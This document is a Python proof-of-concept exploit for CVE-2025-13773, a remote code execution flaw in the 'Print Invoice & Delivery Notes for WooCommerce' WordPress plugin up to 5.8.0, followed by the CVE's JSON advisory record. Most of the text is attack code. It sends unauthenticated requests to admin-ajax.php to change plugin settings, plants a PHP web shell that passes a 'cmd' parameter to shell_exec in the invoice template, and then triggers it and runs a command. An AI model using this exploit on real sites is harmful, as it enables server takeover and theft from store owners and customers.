CVE-2025-13773

# CVE-2025-13773 PoC - WooCommerce Delivery Notes RCE # Target: WordPress site with Print Invoice & Delivery Notes plugin <= 5.8.0 import requests import sys TARGET = "http://target-wordpress-site.com" # Method 1: Modify plugin settings via update function (no auth required) def modify_settings(): """Exploit the missing capability check in WooCommerce_Delivery_Notes::update""" url = f"{TARGET}/wp-admin/admin-ajax.php" # Payload: Enable PHP evaluation in Dompdf and inject PHP code payload = { 'action': 'wcdn_update_settings', 'wcdn_settings': { 'template': '<?php phpinfo(); ?>', # Or malicious code 'pdf_php_enabled': '1' } } response = requests.post(url, data=payload) print(f"Settings modification response: {response.status_code}") return response # Method 2: Direct template injection via update function def inject_template(): """Inject PHP code into the invoice template""" url = f"{TARGET}/wp-admin/admin-ajax.php" # Malicious template with PHP code execution malicious_template = """<?php if(isset($_GET['cmd'])) { echo '<pre>'; $output = shell_exec($_GET['cmd']); echo $output; echo '</pre>'; die(); } ?>""" payload = { 'action': 'wcdn_update_settings', 'template_content': malicious_template, 'template_type': 'invoice' } response = requests.post(url, data=payload) print(f"Template injection response: {response.status_code}") return response # Method 3: Trigger PDF generation to execute injected code def trigger_rce(): """Generate PDF to trigger PHP code execution""" # Find an order ID and trigger PDF generation url = f"{TARGET}/?wcdn_action=print_invoice&order_id=1" response = requests.get(url) return response if __name__ == "__main__": print("CVE-2025-13773 Exploitation") print("=" * 50) try: # Step 1: Inject malicious template inject_template() # Step 2: Trigger PDF generation trigger_rce() # Step 3: Execute commands via GET parameter cmd_url = f"{TARGET}/?wcdn_action=print_invoice&order_id=1&cmd=whoami" result = requests.get(cmd_url) print(f"Command output: {result.text}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2025-13773", "sourceIdentifier": "[email protected]", "published": "2025-12-24T05:16:05.320", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Print Invoice & Delivery Notes for WooCommerce plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 5.8.0 via the 'WooCommerce_Delivery_Notes::update' function. This is due to missing capability check in the 'WooCommerce_Delivery_Notes::update' function, PHP enabled in Dompdf, and missing escape in the 'template.php' file. This makes it possible for unauthenticated attackers to execute code on the server."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/woocommerce-delivery-notes/tags/5.8.0/includes/class-woocommerce-delivery-notes.php#L347", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woocommerce-delivery-notes/tags/5.8.0/includes/class-woocommerce-delivery-notes.php#L473", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woocommerce-delivery-notes/tags/5.8.0/includes/front/vendor/dompdf/dompdf/src/PhpEvaluator.php#L52", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woocommerce-delivery-notes/tags/5.8.0/includes/front/wcdn-front-function.php#L37", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woocommerce-delivery-notes/tags/5.8.0/templates/pdf/simple/invoice/template.php#L36", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3426119/woocommerce-delivery-notes", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e52b34fe-2414-4d6f-bf43-9c5b65ebf769?source=cve", "source": "[email protected]"}]}}